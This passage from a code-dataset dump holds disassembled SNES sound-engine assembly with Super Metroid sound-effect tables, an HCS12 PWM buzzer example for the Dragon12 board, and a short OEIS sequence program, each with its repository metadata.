mov !sound1_channel0_i_instructionList,y
mov !sound1_channel1_i_instructionList,y
mov !sound1_channel2_i_instructionList,y
mov !sound1_channel3_i_instructionList,y
mov y,#$01
mov !sound1_channel0_instructionTimer,y
mov !sound1_channel1_instructionTimer,y
mov !sound1_channel2_instructionTimer,y
mov !sound1_channel3_instructionTimer,y
+
%ProcessSoundChannel(1, 0, resetSound1Channel0, getNextSound1Channel0DataByte, 0, 1)
%ProcessSoundChannel(1, 1, resetSound1Channel1, getNextSound1Channel1DataByte, 6, 0)
%ProcessSoundChannel(1, 2, resetSound1Channel2, getNextSound1Channel2DataByte, 6, 0)
%ProcessSoundChannel(1, 3, resetSound1Channel3, getNextSound1Channel3DataByte, 5, 0)
ret
}
; $2732
resetSound1Channel0: : %ResetSoundChannel(1, 0) : jmp resetSound1IfNoEnabledVoices
; $2775
resetSound1Channel1: : %ResetSoundChannel(1, 1) : jmp resetSound1IfNoEnabledVoices
; $27B8
resetSound1Channel2: : %ResetSoundChannel(1, 2) : jmp resetSound1IfNoEnabledVoices
; $27FB
resetSound1Channel3: : %ResetSoundChannel(1, 3) : jmp resetSound1IfNoEnabledVoices
; $283E
resetSound1IfNoEnabledVoices:
{
mov a,!sound1_enabledVoices : bne +
mov a,#$00
mov !sound1,a
mov !sound1Priority,a
mov !sound1_initialisationFlag,a
+
ret
}
; $284F
getNextSound1Channel0DataByte:
{
mov y,!sound1_channel0_i_instructionList : mov a,(!sound1_channel0_p_instructionList)+y : inc !sound1_channel0_i_instructionList
ret
}
; $2858
getNextSound1Channel1DataByte:
{
mov y,!sound1_channel1_i_instructionList : mov a,(!sound1_channel1_p_instructionList)+y : inc !sound1_channel1_i_instructionList
ret
}
; $2861
getNextSound1Channel2DataByte:
{
mov y,!sound1_channel2_i_instructionList : mov a,(!sound1_channel2_p_instructionList)+y : inc !sound1_channel2_i_instructionList
ret
}
; $286A
getNextSound1Channel3DataByte:
{
mov y,!sound1_channel3_i_instructionList : mov a,(!sound1_channel3_p_instructionList)+y : inc !sound1_channel3_i_instructionList
ret
}
; $2873
; Unused rets
ret
ret
; $2875
goToJumpTableEntry:
{
cmp a,#$01 : beq .branch_pointlessSpecialCase
dec a : asl a : mov y,a
.branch_continue
pop a : mov !p_return_word,a : pop a : mov !p_return_word+1,a
mov a,(!p_return)+y : mov x,a : inc y : mov a,(!p_return)+y : mov !p_return_word+1,a : mov !p_return_word,x
mov x,#$00 : jmp (!p_return_word+x)
.branch_pointlessSpecialCase
mov y,#$00
jmp .branch_continue
}
; $289A
; Sound 1 channel variable pointers
{
; $289A
sound1ChannelVoiceBitsets:
dw !sound1_channel0_voiceBitset, !sound1_channel1_voiceBitset, !sound1_channel2_voiceBitset, !sound1_channel3_voiceBitset
; $28A2
sound1ChannelVoiceMasks:
dw !sound1_channel0_voiceMask, !sound1_channel1_voiceMask, !sound1_channel2_voiceMask, !sound1_channel3_voiceMask
; $28AA
sound1ChannelVoiceIndices:
dw !sound1_channel0_voiceIndex, !sound1_channel1_voiceIndex, !sound1_channel2_voiceIndex, !sound1_channel3_voiceIndex
}
; $28B2
sound1Initialisation:
{
mov a,#$09 : mov !sound1_voiceId,a
mov a,!enableSoundEffectVoices : mov !sound1_remainingEnabledSoundVoices,a
mov a,#$FF : mov !sound1_initialisationFlag,a
mov a,#$00
mov !sound1_2i_channel,a
mov !sound1_i_channel,a
mov !sound1_channel0_voiceBitset,a
mov !sound1_channel1_voiceBitset,a
mov !sound1_channel2_voiceBitset,a
mov !sound1_channel3_voiceBitset,a
mov !sound1_channel0_voiceIndex,a
mov !sound1_channel1_voiceIndex,a
mov !sound1_channel2_voiceIndex,a
mov !sound1_channel3_voiceIndex,a
mov a,#$FF
mov !sound1_channel0_voiceMask,a
mov !sound1_channel1_voiceMask,a
mov !sound1_channel2_voiceMask,a
mov !sound1_channel3_voiceMask,a
mov !sound1_channel0_disableByte,a
mov !sound1_channel1_disableByte,a
mov !sound1_channel2_disableByte,a
mov !sound1_channel3_disableByte,a
.loop
dec !sound1_voiceId : beq .ret
asl !sound1_remainingEnabledSoundVoices : bcs .loop
mov a,#$00 : cmp a,!sound1_n_voices : beq .ret
dec !sound1_n_voices
mov a,#$00 : mov x,!sound1_i_channel : mov !sound1_channel0_disableByte+x,a
inc !sound1_i_channel
mov a,!sound1_2i_channel : mov x,a : mov y,a
mov a,sound1ChannelVoiceBitsets+x : mov !sound1_p_charVoiceBitset,a
mov a,sound1ChannelVoiceMasks+x : mov !sound1_p_charVoiceMask,a
mov a,sound1ChannelVoiceIndices+x : mov !sound1_p_charVoiceIndex,a
inc x
mov a,sound1ChannelVoiceBitsets+x : mov !sound1_p_charVoiceBitset+1,a
mov a,sound1ChannelVoiceMasks+x : mov !sound1_p_charVoiceMask+1,a
mov a,sound1ChannelVoiceIndices+x : mov !sound1_p_charVoiceIndex+1,a
inc !sound1_2i_channel : inc !sound1_2i_channel
mov a,!sound1_voiceId : mov !sound1_i_voice,a : dec !sound1_i_voice : clrc : asl !sound1_i_voice
mov x,!sound1_i_voice : mov a,!trackOutputVolumes+x : mov !sound1_channel0_trackOutputVolumeBackup+y,a
inc y : mov a,!trackPhaseInversionOptions+x : mov !sound1_channel0_trackOutputVolumeBackup+y,a
mov y,#$00 : mov a,!sound1_i_voice : mov (!sound1_p_charVoiceIndex)+y,a
mov a,!sound1_voiceId : call goToJumpTableEntry
dw .voice0, .voice1, .voice2, .voice3, .voice4, .voice5, .voice6, .voice7
.ret
ret
.voice7 : %SetVoice(1, 7) : jmp .loop
.voice6 : %SetVoice(1, 6) : jmp .loop
.voice5 : %SetVoice(1, 5) : jmp .loop
.voice4 : %SetVoice(1, 4) : jmp .loop
.voice3 : %SetVoice(1, 3) : jmp .loop
.voice2 : %SetVoice(1, 2) : jmp .loop
.voice1 : %SetVoice(1, 1) : jmp .loop
.voice0 : %SetVoice(1, 0) : jmp .loop
}
; $2A57
getSound1ChannelInstructionListPointer:
{
inc y : mov a,(!sound1_instructionListPointerSet)+y
ret
}
; $2A5B
sound1MultiplyBy8:
{
asl a : asl a : asl a
ret
}
; $2A5F
sound1Configurations:
{
.sound1
call nSound1Voices_4_sound1Priority_0_dup : ret
.sound2
.sound3
.sound4
.sound5
.sound6
.sound7
call nSound1Voices_1_sound1Priority_0 : ret
.sound8
call nSound1Voices_2_sound1Priority_0
ret
.sound9
.soundA
.soundB
.soundC
.soundD
.soundE
.soundF
.sound10
.sound11
.sound12
.sound13
.sound14
.sound15
.sound16
.sound17
.sound18
.sound19
.sound1A
.sound1B
.sound1C
.sound1D
.sound1E
.sound1F
.sound20
.sound21
.sound22
.sound23
call nSound1Voices_1_sound1Priority_0
ret
.sound24
call nSound1Voices_2_sound1Priority_0
ret
.sound25
.sound26
call nSound1Voices_1_sound1Priority_0
ret
.sound27
call nSound1Voices_2_sound1Priority_0
ret
.sound28
.sound29
.sound2A
.sound2B
call nSound1Voices_1_sound1Priority_0
ret
.sound2C
call nSound1Voices_1_sound1Priority_0
ret
.sound2D
call nSound1Voices_1_sound1Priority_0
ret
.sound2E
call nSound1Voices_4_sound1Priority_0
ret
.sound2F
.sound30
.sound31
.sound32
call nSound1Voices_1_sound1Priority_0
ret
.sound33
call nSound1Voices_2_sound1Priority_0
ret
.sound34
call nSound1Voices_1_sound1Priority_0
ret
.sound35
call nSound1Voices_1_sound1Priority_1
ret
.sound36
.sound37
.sound38
.sound39
.sound3A
.sound3B
.sound3C
.sound3D
.sound3E
.sound3F
call nSound1Voices_1_sound1Priority_0
ret
.sound40
call nSound1Voices_3_sound1Priority_1
ret
.sound41
call nSound1Voices_2_sound1Priority_0
ret
.sound42
call nSound1Voices_2_sound1Priority_0 : ret
}
; $2AAB
nSound1Voices_1_sound1Priority_0:
{
mov a,#$01 : mov !sound1_n_voices,a
mov a,#$00 : mov !sound1Priority,a
ret
}
; $2AB6
nSound1Voices_1_sound1Priority_1:
{
mov a,#$01 : mov !sound1_n_voices,a
mov a,#$01 : mov !sound1Priority,a
ret
}
; $2AC1
nSound1Voices_2_sound1Priority_0:
{
mov a,#$02 : mov !sound1_n_voices,a
mov a,#$00 : mov !sound1Priority,a
ret
}
; $2ACC
nSound1Voices_3_sound1Priority_1:
{
mov a,#$03 : mov !sound1_n_voices,a
mov a,#$01 : mov !sound1Priority,a
ret
}
; $2AD7
nSound1Voices_4_sound1Priority_0:
{
mov a,#$04 : mov !sound1_n_voices,a
mov a,#$00 : mov !sound1Priority,a
ret
}
; $2AE2
nSound1Voices_4_sound1Priority_0_dup:
{
mov a,#$04 : mov !sound1_n_voices,a
mov a,#$00 : mov !sound1Priority,a
ret
}
; $2AED
sound1InstructionLists:
{
dw .sound1, .sound2, .sound3, .sound4, .sound5, .sound6, .sound7, .sound8, .sound9, .soundA, .soundB, .soundC, .soundD, .soundE, .soundF, .sound10,\
.sound11, .sound12, .sound13, .sound14, .sound15, .sound16, .sound17, .sound18, .sound19, .sound1A, .sound1B, .sound1C, .sound1D, .sound1E, .sound1F, .sound20,\
.sound21, .sound22, .sound23, .sound24, .sound25, .sound26, .sound27, .sound28, .sound29, .sound2A, .sound2B, .sound2C, .sound2D, .sound2E, .sound2F, .sound30,\
.sound31, .sound32, .sound33, .sound34, .sound35, .sound36, .sound37, .sound38, .sound39, .sound3A, .sound3B, .sound3C, .sound3D, .sound3E, .sound3F, .sound40,\
.sound41, .sound42
; Instruction list format:
{
; Commands:
; F5h dd tt - legato pitch slide with subnote delta = d, target note = t
; F8h dd tt - pitch slide with subnote delta = d, target note = t
; F9h aaaa - voice's ADSR settings = a
; FBh - repeat
; FCh - enable noise
; FDh - decrement repeat counter and repeat if non-zero
; FEh cc - set repeat pointer with repeat counter = c
; FFh - end
; Otherwise:
; ii vv pp nn tt
; i: Instrument index
; v: Volume
; p: Panning
; n: Note. F6h is a tie
; t: Length
}
; Sound 1: Power bomb explosion
.sound1
dw ..voice0, ..voice1, ..voice2, ..voice3
..voice0 : db $F5,$B0,$C7, $05,$D0,$0A,$98,$46, $FF
..voice1 : db $F5,$A0,$C7, $09,$D0,$0F,$80,$50, $F5,$50,$80, $09,$D0,$0A,$AB,$46, $FF
..voice2 : db $09,$D0,$0F,$87,$10, $F5,$B0,$C7, $05,$D0,$0F,$80,$60, $FF
..voice3 : db $09,$D0,$05,$82,$30, $F5,$A0,$80, $05,$D0,$05,$C7,$60, $FF
; Sound 2: Silence
.sound2
dw ..voice0
..voice0 : db $15,$00,$0A,$BC,$03, $FF
; Sound 3: Missile
.sound3
dw ..voice0
..voice0 : db $00,$D8,$0A,$95,$08, $01,$D8,$0A,$8B,$30, $FF
; Sound 4: Super missile
.sound4
dw ..voice0
..voice0 : db $00,$D0,$0A,$95,$08, $01,$D0,$0A,$90,$30, $FF
; Sound 5: Grapple start
.sound5
dw ..voice0
..voice0 : db $01,$80,$0A,$9D,$10, $02,$50,$0A,$93,$07, $02,$50,$0A,$93,$03, $02,$50,$0A,$93,$05, $02,$50,$0A,$93,$08, $02,$50,$0A,$93,$04, $02,$50,$0A,$93,$06, $02,$50,$0A,$93,$04, $FF
; Sound 6: Grappling
.sound6
dw ..voice0
..voice0 : db $0D,$50,$0A,$80,$03, $0D,$50,$0A,$85,$04,\
$FE,$00, $02,$50,$0A,$93,$07, $02,$50,$0A,$93,$03, $02,$50,$0A,$93,$05, $02,$50,$0A,$93,$08, $02,$50,$0A,$93,$04, $02,$50,$0A,$93,$06, $02,$50,$0A,$93,$04, $FB,\
$FF
; Sound 7: Grapple end
.sound7
dw ..voice0
..voice0 : db $02,$50,$0A,$93,$05, $FF
; Sound 8: Charging beam
.sound8
dw ..voice0, ..voice1
..voice0 : db $05,$00,$0A,$B4,$15, $F5,$30,$C7, $05,$50,$0A,$B7,$25,\
$FE,$00, $07,$60,$0A,$C7,$30, $FB,\
$FF
..voice1 : db $02,$00,$0A,$9C,$07, $02,$10,$0A,$9C,$03, $02,$00,$0A,$9C,$05, $02,$20,$0A,$9C,$08
; Shared by charging beam and resume charging beam
.resumeChargingBeamVoice
db $02,$20,$0A,$9C,$04, $02,$30,$0A,$9C,$06, $02,$00,$0A,$9C,$04, $02,$30,$0A,$9C,$03, $02,$30,$0A,$9C,$07, $02,$00,$0A,$9C,$0A, $02,$30,$0A,$9C,$03, $02,$00,$0A,$9C,$04, $02,$40,$0A,$9C,$03, $02,$40,$0A,$9C,$07, $02,$00,$0A,$9C,$05, $02,$40,$0A,$9C,$06, $02,$40,$0A,$9C,$03, $02,$00,$0A,$9C,$0A, $02,$50,$0A,$9C,$03, $02,$50,$0A,$9C,$03, $02,$60,$0A,$9C,$05, $02,$00,$0A,$9C,$06, $02,$60,$0A,$9C,$07, $02,$00,$0A,$9C,$03, $02,$60,$0A,$9C,$04, $02,$60,$0A,$9C,$03, $02,$00,$0A,$9C,$03,\
$FE,$00, $02,$40,$0A,$9C,$05, $02,$40,$0A,$9C,$06, $02,$40,$0A,$9C,$07, $02,$40,$0A,$9C,$03, $02,$40,$0A,$9C,$04, $02,$40,$0A,$9C,$03, $02,$40,$0A,$9C,$03, $FB,\
$FF
; Sound 9: X-ray
.sound9
dw ..voice0
..voice0 : db $F5,$70,$AD, $06,$40,$0A,$A4,$40,\
$FE,$00, $06,$40,$0A,$AD,$F0, $FB,\
$FF
; Sound Ah: X-ray end
.soundA
dw ..voice0
..voice0 : db $06,$00,$0A,$AD,$03, $FF
; Sound Bh: Uncharged power beam
.soundB
dw ..voice0
..voice0 : db $04,$90,$0A,$89,$03, $04,$90,$0A,$84,$0E, $FF
; Sound Ch: Uncharged ice beam
.soundC
dw .weakUnchargedIceVoice
; Uncharged ice / ice + wave beam
.weakUnchargedIceVoice
db $04,$B0,$0A,$8B,$03, $04,$B0,$0A,$89,$07, $F5,$90,$C7, $10,$90,$0A,$BC,$0A, $10,$60,$0A,$C3,$06, $10,$30,$0A,$C7,$03, $10,$20,$0A,$C7,$03, $FF
; Sound Dh: Uncharged wave beam
.soundD
dw ..voice0
..voice0 : db $04,$90,$0A,$89,$03, $04,$70,$0A,$84,$0B, $04,$30,$0A,$84,$08, $FF
; Sound Eh: Uncharged ice + wave beam
.soundE
dw .weakUnchargedIceVoice
; Sound Fh: Uncharged spazer beam
.soundF
dw .unchargedSpazerVoice
; Uncharged spazer / spazer + wave beam
.unchargedSpazerVoice
db $00,$D0,$0A,$98,$0C, $04,$C0,$0A,$80,$10, $04,$30,$0A,$80,$08, $04,$10,$0A,$80,$06, $FF
; Sound 10h: Uncharged spazer + ice beam
.sound10
dw .strongUnchargedIceVoice
; Uncharged spazer + ice / spazer + ice + wave / plasma + ice / plasma + ice + wave beam
.strongUnchargedIceVoice
db $00,$D0,$0A,$98,$0C, $F5,$90,$C7, $10,$90,$0A,$BC,$0A, $10,$60,$0A,$C3,$06, $10,$30,$0A,$C7,$03, $10,$20,$0A,$C7,$03, $FF
; Sound 11h: Uncharged spazer + ice + wave beam
.sound11
dw .strongUnchargedIceVoice
; Sound 12h: Uncharged spazer + wave beam
.sound12
dw .unchargedSpazerVoice
; Sound 13h: Uncharged plasma beam
.sound13
dw .unchargedPlasmaVoice
; Uncharged plasma / plasma + wave beam
.unchargedPlasmaVoice
db $00,$D0,$0A,$98,$0C, $04,$B0,$0A,$80,$13, $FF
; Sound 14h: Uncharged plasma + ice beam
.sound14
dw .strongUnchargedIceVoice
; Sound 15h: Uncharged plasma + ice + wave beam
.sound15
dw .strongUnchargedIceVoice
; Sound 16h: Uncharged plasma + wave beam
.sound16
dw .unchargedPlasmaVoice
; Sound 17h: Charged power beam
.sound17
dw ..voice0
..voice0 : db $04,$D0,$0A,$84,$05, $04,$D0,$0A,$80,$0C, $02,$80,$0A,$98,$03, $02,$60,$0A,$98,$03, $02,$50,$0A,$98,$03, $FF
; Sound 18h: Charged ice beam
.sound18
dw .chargedIceVoice
; Charged ice / ice + wave / spazer + ice / spazer + ice + wave / plasma + ice / plasma + ice + wave beam
.chargedIceVoice
db $00,$E0,$0A,$98,$0C, $F5,$B0,$C7, $10,$E0,$0A,$BC,$0A, $10,$70,$0A,$C3,$06, $10,$30,$0A,$C7,$03, $10,$20,$0A,$C7,$03, $FF
; Sound 19h: Charged wave beam
.sound19
dw ..voice0
..voice0 : db $04,$E0,$0A,$84,$03, $04,$E0,$0A,$80,$10, $04,$50,$0A,$80,$04, $04,$30,$0A,$80,$09, $FF
; Sound 1Ah: Charged ice + wave beam
.sound1A
dw .chargedIceVoice
; Sound 1Bh: Charged spazer beam
.sound1B
dw .chargedSpazerVoice
; Charged spazer / spazer + wave beam
.chargedSpazerVoice
db $00,$D0,$0A,$95,$08, $04,$D0,$0A,$80,$0F, $04,$80,$0A,$80,$0D, $04,$20,$0A,$80,$0A, $FF
; Sound 1Ch: Charged spazer + ice beam
.sound1C
dw .chargedIceVoice
; Sound 1Dh: Charged spazer + ice + wave beam
.sound1D
dw .chargedIceVoice
; Sound 1Eh: Charged spazer + wave beam
.sound1E
dw .chargedSpazerVoice
; Sound 1Fh: Charged plasma beam / hyper beam
.sound1F
dw .chargedPlasmaVoice
; Charged plasma / hyper / plasma + wave beam
.chargedPlasmaVoice
db $00,$D0,$0A,$98,$0E, $04,$D0,$0A,$80,$10, $04,$70,$0A,$80,$10, $04,$30,$0A,$80,$10, $FF
; Sound 20h: Charged plasma + ice beam
.sound20
dw .chargedIceVoice
; Sound 21h: Charged plasma + ice + wave beam
.sound21
dw .chargedIceVoice
; Sound 22h: Charged plasma + wave beam
.sound22
dw .chargedPlasmaVoice
; Sound 23h: Ice SBA
.sound23
dw ..voice0
..voice0 : db $FE,$00, $10,$50,$0A,$C0,$03, $10,$50,$0A,$C1,$03, $10,$60,$0A,$C3,$03, $10,$60,$0A,$C5,$03, $10,$70,$0A,$C7,$03, $10,$60,$0A,$C5,$03, $10,$50,$0A,$C3,$03, $10,$50,$0A,$C1,$03, $FB, $FF
; Sound 24h: Ice SBA end
.sound24
dw ..voice0, ..voice1
..voice0 : db $10,$D0,$0A,$BC,$0A, $10,$70,$0A,$C3,$06, $10,$30,$0A,$C7,$03, $10,$20,$0A,$C7,$03, $10,$50,$0A,$C3,$06, $10,$40,$0A,$C7,$03, $10,$40,$0A,$C7,$03, $10,$30,$0A,$C3,$06, $10,$20,$0A,$C7,$03, $10,$20,$0A,$C7,$03, $FF
..voice1 : db $04,$D0,$0A,$80,$10, $04,$70,$0A,$80,$10, $04,$30,$0A,$80,$10, $FF
; Sound 25h: Spazer SBA
.sound25
dw ..voice0
..voice0 : db $04,$D0,$0A,$80,$10, $04,$70,$0A,$80,$10, $04,$30,$0A,$80,$02, $04,$D0,$0A,$80,$10, $04,$70,$0A,$80,$10, $04,$30,$0A,$80,$10, $FF
; Sound 26h: Spazer SBA end
.sound26
dw ..voice0
..voice0 : db $04,$D0,$0A,$80,$10, $04,$70,$0A,$80,$04, $04,$30,$0A,$80,$02, $04,$30,$0A,$80,$06, $04,$30,$0A,$80,$06, $04,$70,$0A,$80,$07, $04,$70,$0A,$80,$07, $FF
; Sound 27h: Plasma SBA
.sound27
dw ..voice0, ..voice1
..voice0 : db $F5,$30,$C7, $07,$90,$0A,$B7,$25, $F5,$30,$B7, $07,$90,$0A,$F6,$25, $F5,$B0,$C7, $07,$90,$0A,$F6,$25, $FF
..voice1 : db $F5,$30,$C7, $05,$90,$0A,$B7,$27, $F5,$30,$B7, $05,$90,$0A,$F6,$27, $F5,$B0,$C7, $05,$90,$0A,$F6,$27, $FF
; Sound 28h: Wave SBA
.sound28
dw ..voice0
..voice0 : db $F5,$30,$C7, $05,$50,$0A,$B7,$25, $FF
; Sound 29h: Wave SBA end
.sound29
dw ..voice0
..voice0 : db $05,$00,$0A,$B7,$03, $FF
; Sound 2Ah: Selected save file
.sound2A
dw ..voice0
..voice0 : db $07,$90,$0A,$C5,$12, $FF
; Sound 2Bh: (Empty)
.sound2B
dw ..voice0
..voice0 : db $FF
; Sound 2Ch: (Empty)
.sound2C
dw ..voice0
..voice0 : db $FF
; Sound 2Dh: (Empty)
.sound2D
dw ..voice0
..voice0 : db $FF
; Sound 2Eh: Saving
.sound2E
dw ..voice0, ..voice1, ..voice2, ..voice3
..voice0 : db $F5,$F0,$B1, $06,$45,$0A,$99,$19, $06,$45,$0A,$B1,$80, $F5,$F0,$99, $06,$45,$0A,$B1,$19, $FF
..voice1 : db $F5,$F0,$A7, $06,$45,$0A,$8F,$19, $06,$45,$0A,$A7,$80, $F5,$F0,$8F, $06,$45,$0A,$A7,$19, $FF
..voice2 : db $F5,$F0,$A0, $06,$45,$0A,$88,$19, $06,$45,$0A,$A0,$80, $F5,$F0,$88, $06,$45,$0A,$A0,$19, $FF
..voice3 : db $F5,$F0,$98, $06,$45,$0A,$80,$19, $06,$45,$0A,$98,$80, $F5,$F0,$80, $06,$45,$0A,$98,$19, $FF
; Sound 2Fh: Underwater space jump (without gravity suit)
.sound2F
dw ..voice0
..voice0 : db $07,$80,$0A,$C7,$10, $FF
; Sound 30h: Resumed spin jump
.sound30
dw ..voice0
..voice0 : db $FE,$00, $07,$80,$0A,$C7,$10, $FB, $FF
; Sound 31h: Spin jump
.sound31
dw ..voice0
..voice0 : db $07,$30,$0A,$C5,$10, $07,$40,$0A,$C6,$10, $07,$50,$0A,$C7,$10,\
$FE,$00, $07,$80,$0A,$C7,$10, $FB,\
$FF
; Sound 32h: Spin jump end
.sound32
dw ..voice0
..voice0 : db $0A,$00,$0A,$87,$03, $FF
; Sound 33h: Screw attack
.sound33
dw ..voice0, ..voice1
..voice0 : db $07,$30,$0A,$C7,$04, $07,$40,$0A,$C7,$05, $07,$50,$0A,$C7,$06, $07,$60,$0A,$C7,$07, $07,$70,$0A,$C7,$09, $07,$80,$0A,$C7,$0D, $07,$80,$0A,$C7,$0F,\
$FE,$00, $07,$80,$0A,$C7,$10, $FB,\
$FF
..voice1 : db $F5,$E0,$BC, $05,$60,$0A,$98,$0E, $F5,$E0,$BC, $05,$70,$0A,$A4,$08, $F5,$E0,$BC, $05,$80,$0A,$B0,$06,\
$FE,$00, $05,$80,$0A,$BC,$03, $05,$80,$0A,$C4,$03, $05,$80,$0A,$C6,$03, $FB,\
$FF
; Sound 34h: Screw attack end
.sound34
dw ..voice0
..voice0 : db $0A,$00,$0A,$87,$03, $FF
; Sound 35h: Samus damaged
.sound35
dw ..voice0
..voice0 : db $13,$60,$0A,$A4,$10, $13,$10,$0A,$A4,$07, $FF
; Sound 36h: Scrolling map
.sound36
dw ..voice0
..voice0 : db $0C,$60,$0A,$B0,$02, $FF
; Sound 37h: Toggle reserve mode / moved cursor
.sound37
dw ..voice0
..voice0 : db $03,$60,$0A,$9C,$04, $FF
; Sound 38h: Pause menu transition / toggled equipment
.sound38
dw ..voice0
..voice0 : db $F5,$90,$C7, $15,$90,$0A,$B0,$15, $FF
; Sound 39h: Switch HUD item
.sound39
dw ..voice0
..voice0 : db $03,$40,$0A,$9C,$03, $FF
; Sound 3Ah: (Empty)
.sound3A
dw ..voice0
..voice0 : db $FF
; Sound 3Bh: Hexagon map -> square map transition
.sound3B
dw ..voice0
..voice0 : db $05,$90,$0A,$9C,$0B, $F5,$F0,$C2, $05,$90,$0A,$9C,$12, $FF
; Sound 3Ch: Square map -> hexagon map transition
.sound3C
dw ..voice0
..voice0 : db $05,$90,$0A,$9C,$0B, $F5,$F0,$80, $05,$90,$0A,$9C,$12, $FF
; Sound 3Dh: Dud shot
.sound3D
dw ..voice0
..voice0 : db $08,$70,$0A,$99,$03, $08,$70,$0A,$9C,$05, $FF
; Sound 3Eh: Space jump
.sound3E
dw ..voice0
..voice0 : db $07,$30,$0A,$C7,$04, $07,$40,$0A,$C7,$05, $07,$50,$0A,$C7,$06, $07,$60,$0A,$C7,$07, $07,$70,$0A,$C7,$09, $07,$80,$0A,$C7,$0D, $07,$80,$0A,$C7,$0F,\
$FE,$00, $07,$80,$0A,$C7,$10, $FB,\
$FF
; Sound 3Fh: Resumed space jump
.sound3F
dw ..voice0
..voice0 : db $FE,$00, $07,$80,$0A,$C7,$10, $FB, $FF
; Sound 40h: Mother Brain's rainbow beam
.sound40
dw ..voice0, ..voice1, ..voice2
..voice0 : db $FE,$00, $23,$D0,$0A,$89,$07, $23,$D0,$0A,$8B,$07, $23,$D0,$0A,$8C,$07, $23,$D0,$0A,$8E,$07, $23,$D0,$0A,$90,$07, $23,$D0,$0A,$91,$07, $23,$D0,$0A,$93,$07, $23,$D0,$0A,$95,$07, $23,$D0,$0A,$97,$07, $FB, $FF
..voice1 : db $FE,$00, $06,$D0,$0A,$BA,$F0, $FB, $FF
..voice2 : db $FE,$00, $06,$D0,$0A,$B3,$F0, $FB, $FF
; Sound 41h: Resume charging beam
.sound41
dw ..voice0, .resumeChargingBeamVoice
..voice0 : db $F5,$70,$C7, $05,$50,$0A,$C0,$03,\
$FE,$00, $07,$60,$0A,$C7,$30, $FB,\
$FF
; Sound 42h:
.sound42
dw ..voice0, ..voice1
..voice0 : db $24,$A0,$0A,$9C,$20, $FF
..voice1 : db $24,$00,$0A,$9D,$05, $24,$80,$0A,$95,$40, $FF
}
| 28.93012 | 487 | 0.647093 |
8e03bece2e7c6a090608c69f66771b3d59102073 | 2,176 | asm | Assembly | Sources/Toggle_PP5_PWM_Buzzer_AssemProg.asm | billhhh/hcs12-dragon12 | 49341a48b06072c349fac074fe560de68dd00f22 | [
"MIT"
] | null | null | null | Sources/Toggle_PP5_PWM_Buzzer_AssemProg.asm | billhhh/hcs12-dragon12 | 49341a48b06072c349fac074fe560de68dd00f22 | [
"MIT"
] | null | null | null | Sources/Toggle_PP5_PWM_Buzzer_AssemProg.asm | billhhh/hcs12-dragon12 | 49341a48b06072c349fac074fe560de68dd00f22 | [
"MIT"
] | null | null | null | ;Toggling PP5 to sound the buzzer using PWM (pulse width modulation) on Dragon12 Plus Trainer Board
;The J26 jumper selection allows to SPK_SEL (speaker selection) to be PT5, PP5 (PWM chan 5) or DACB output
;When the Dragon12 board is shipped the J26 jumper is set for PT5 of PORTT speaker/buzzer selection (Default setting).
;Because of this PT5 jumper setting you hear the speaker sound when the board is RESET
;This program toggles PP5 to sound the speaker/buzzer using the PWM of channel 5.
;Modified from Example 17-13 Mazidi & Causey HCS12 book. See Chapter 17 for PWM discussion
;Written and tested by M. Mazidi
;Before you run this program MAKE SURE YOU MOVE THE JUMPER ON J26 FROM PT5 TO PP5
;AFTER YOU RUN THIS PROGRAM MAKE SURE TO MOVE THE JUMPER BACK TO PT5.
;OTHERWISE UPON RESETING THE BOARD YOU WILL NOT HEAR THE SPEAKER/BUZZER SOUND
ABSENTRY Entry ; for absolute assembly: mark this as application entry point
; Include derivative-specific definitions
INCLUDE 'mc9s12dp256.inc' ;CPU used by Dragon12+ board
;code section
ORG $4000 ;Flash ROM address for Dragon12+
Entry:
LDS #$4000 ;Stack
MOVB #$04, PWMPRCLK ;ClockA=Fbus/2**4=24MHz/16=1.5MHz
MOVB #125, PWMSCLA ;ClockSA=1.5MHz/2x125=1.5Mhz/250=6000Hz
MOVB #$20, PWMCLK ;Use clockSA for chan 5 PWM
MOVB #$20,PWMPOL ;high then low for polarity
MOVB #$0,PWMCAE ;left aligned
MOVB #$0, PWMCTL ;8-bit chan,pwm during feeze and wait
MOVB #100, PWMPER5 ;PWM_Freq=ClockSA/100=6000 Hz/100=60 Hz. CHANGE THIS
MOVB #50, PWMDTY5 ;50% duty cycle AND THIS TO GET DIFFERENT SOUND
MOVB #0,PWMCNT5 ;start the counter with zero (optional)
BSET PWME,%00100000 ;enable chan 5 PWM
BRA $
;**************************************************************
;* Interrupt Vectors *
;**************************************************************
ORG $FFFE
DC.W Entry ;Reset Vector. CPU wakes here and it is sent to start of the code at $4000
| 44.408163 | 119 | 0.622702 |
fbd02c9366ba62b4431a0d11d33222dd88457e6e | 663 | asm | Assembly | oeis/172/A172117.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/172/A172117.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/172/A172117.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A172117: a(n) = n*(n+1)*(20*n-17)/6.
; Submitted by Jamie Morken(s1.)
; 0,1,23,86,210,415,721,1148,1716,2445,3355,4466,5798,7371,9205,11320,13736,16473,19551,22990,26810,31031,35673,40756,46300,52325,58851,65898,73486,81635,90365,99696,109648,120241,131495,143430,156066,169423,183521,198380,214020,230461,247723,265826,284790,304635,325381,347048,369656,393225,417775,443326,469898,497511,526185,555940,586796,618773,651891,686170,721630,758291,796173,835296,875680,917345,960311,1004598,1050226,1097215,1145585,1195356,1246548,1299181,1353275,1408850,1465926,1524523
lpb $0
sub $0,1
add $2,$3
add $2,1
add $4,$2
add $1,$4
mov $3,19
lpe
mov $0,$1
| 47.357143 | 498 | 0.760181 |
cc8e82cb1b33aab5166ce2f7e530812879454dc4 | 608 | asm | Assembly | oeis/179/A179060.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/179/A179060.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
